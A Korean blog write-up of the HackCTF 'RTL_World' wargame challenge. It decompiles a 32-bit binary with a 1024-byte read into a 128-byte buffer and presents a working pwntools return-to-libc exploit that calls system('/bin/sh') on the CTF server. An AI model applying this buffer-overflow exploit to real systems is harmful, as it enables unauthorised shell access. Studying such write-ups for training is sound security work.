Pwnable/Wargame

[HackCTF] RTL_World Write Up

건 Geon 2021. 9. 24. 00:09

이름 그대로 RTL을 이용하는 문제이다.

checksec 을 확인해보면

32비트에 nx가 켜져있다.

그런데 막상 바이너리를 실행해보니 바로 Segmantation fault 가 떠서 이것저것 검색해보니 64비트 linux에서 32비트 바이너리를 실행해서 그렇다는데... 자세히는 모르겠지만 아마 저 바이너리가 32비트 os 에서 컴파일된 것 같다. 그래서 이것저것 찾아보다가

sudo apt-get install gcc-multilib g++-multilib

이거한번 해주니까 정상적으로 실행이 됐다(저거 둘다 이미 깔았던건데 왜된건지 모르겠음)

아무튼 이렇게 실행이 되는걸 확인하고 실행해보니까

뭐가 많이뜬다. 그리고 gdb로 열어보니

이렇게 심볼들도 멀쩡하다. 아무튼 여기까지 보고 그냥 바로 IDA로 코드를 까보았다.

main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [esp+10h] [ebp-90h] BYREF
  char buf[128]; // [esp+14h] [ebp-8Ch] BYREF
  void *v6; // [esp+94h] [ebp-Ch]
  void *handle; // [esp+98h] [ebp-8h]
  void *s1; // [esp+9Ch] [ebp-4h]

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; strcmp((const char *)s1, "/bin/sh"); s1 = (char *)s1 + 1 )
    ;
  puts("\n\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\n");
  printf("Your Gold : %d\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\n");
        continue;
      case 2:
        Get_Money();
        continue;
      case 3:
        if ( gold <= 1999 )
          goto LABEL_10;
        gold -= 1999;
        printf("System Armor : %p\n", v6);
        break;
      case 4:
        if ( gold <= 2999 )
        {
LABEL_10:
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, buf, 1024u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}

대충보니 위에 사진처럼 1~6 메뉴선택을 계속 출력하면서 사용자의 입력을받아 switch문 돌리는 것 같다.

여기서 RTL을 이용할만한부분은 case 5 부분인데 read함수로 입력을 1024바이트나 받는데 buf의 크기는 128밖에안된다. 여기까지만 봐도 BOF를 이용해서 ret를 덮어서 system("/bin/sh") 를 호출하면 될 것 같다. 여기서 payload의 크기는

A를 100개 넣고 스택에서 계산해보니 ret의 주소 0xffffd20c - buf의주소 0xffffd17c = 0x90 = 144가 나온다
32비트라서 스택으로 인자를 전달하기 때문에 먼저 144바이트를 채우고, system의 주소 + dummy 4바이트 + /bin/sh의 주소 로 페이로드를 구성하면 될듯.

여기서 system의 주소는 친절하게

여기 system@plt로 알려주고, /bin/sh의 주소도

이렇게 고정값으로 찾을 수 있다.

이제 페이로드를 작성해서 실행해보면

from pwn import *

#r = process("./rtl_world")
r = remote("ctf.j0n9hyun.xyz", 3010)

e = ELF("./rtl_world")

system = e.plt["system"]
binsh = 0x8048eb1
payload = "A"*144
payload += p32(system)
payload += "BBBB"
payload += p32(binsh)
r.sendlineafter(">>> ", "5")
r.sendlineafter("[Attack] >", payload)
r.interactive()

 

쉘을얻고 flag를 읽을 수 있다.